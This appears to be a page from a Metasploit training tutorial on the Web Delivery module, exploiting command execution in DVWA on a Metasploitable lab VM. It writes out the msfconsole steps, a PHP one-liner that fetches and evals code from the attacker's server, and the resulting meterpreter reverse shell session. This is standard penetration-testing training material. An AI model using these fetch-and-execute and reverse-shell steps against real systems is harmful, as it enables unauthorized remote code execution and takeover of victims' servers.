Web Delivery a11y.text Web Delivery Metasploitâ€™s Web Delivery Script is a versatile module that creates a server on the attacking machine which hosts a payload. When the victim connects to the attacking server, the payload will be executed on the victim machine. This exploit requires a method of executing commands on the victim machine. In particular you must be able to reach the attacking machine from the victim. Remote command execution is a great example of an attack vector where using this module is possible. The web delivery script works on php, python, and powershell based applications. This exploit becomes a very useful tool when the attacker has some control of the system, but does not possess a full shell. In addition, since the server and payload are both on the attacking machine, the attack proceeds without being written to disk. This helps keep the attacking fingerprint low. This is an example of the execution of this module on the Damn Vulnerable Web Application (DVWA) within Metasploitable. Click on â€˜DVWA Securityâ€™ in the left panel. Set the security level to â€˜lowâ€™ and click â€˜Submitâ€™. First, we check for simple command execution.

Click on â€˜Command Executionâ€™. Enter an IP address followed by a semi-colon and the command you wish to execute. Next, we need to make sure that we can connect with the attacking host. Because of the nature of this particular application, this was achieved above. Generally, be sure to ping , telnet , or otherwise call the host. Now we can set the necessary options and run the exploit. Note that the target must be specified before the payload. msf > use exploit/multi/script/web_delivery

msf exploit(web_delivery) > set TARGET 1

TARGET => 1

msf exploit(web_delivery) > set PAYLOAD php/meterpreter/reverse_tcp

PAYLOAD => php/meterpreter/reverse_tcp

msf exploit(web_delivery) > set LHOST 192.168.80.128

LHOST => 192.168.80.128

```
msf exploit(web_delivery) > show options

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local
machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.80.128   yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
```

1 PHP

msf exploit(web_delivery) > exploit

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.80.128:4444

[*] Using URL: http://0.0.0.0:8080/alK3t3tt

[*] Local IP: http://192.168.80.128:8080/alK3t3tt

[*] Server started.

[*] Run the following command on the target machine:

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.80.128:8080/alK3t3tt'));" Next, we run the given command on the victim: php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.80.128:8080/alK3t3tt'));" We can finally interact with the new shell in metasploit. msf exploit(web_delivery) >

[*] 192.168.80.131 web_delivery - Delivering Payload

[*] Sending stage (40499 bytes) to 192.168.80.131

[*] Meterpreter session 1 opened (192.168.80.128:4444 -> 192.168.80.131:53382) at 2016-02-06 10:27:05 -0500

msf exploit(web_delivery) > sessions -i

Active sessions

==========

Id	Type	Information	Connection
1	meterpreter php/php	www-data (33) @ metasploitable	192.168.80.128:4444 ->

192.168.80.131:53382 (192.168.80.131)

msf exploit(web_delivery) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > shell

Process 5331 created.

Channel 0 created.

whoami

www-data

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux We now have a functioning php meterpreter shell on the target. Next Metasploit GUIs Prev The Guts Behind an Auxiliary Module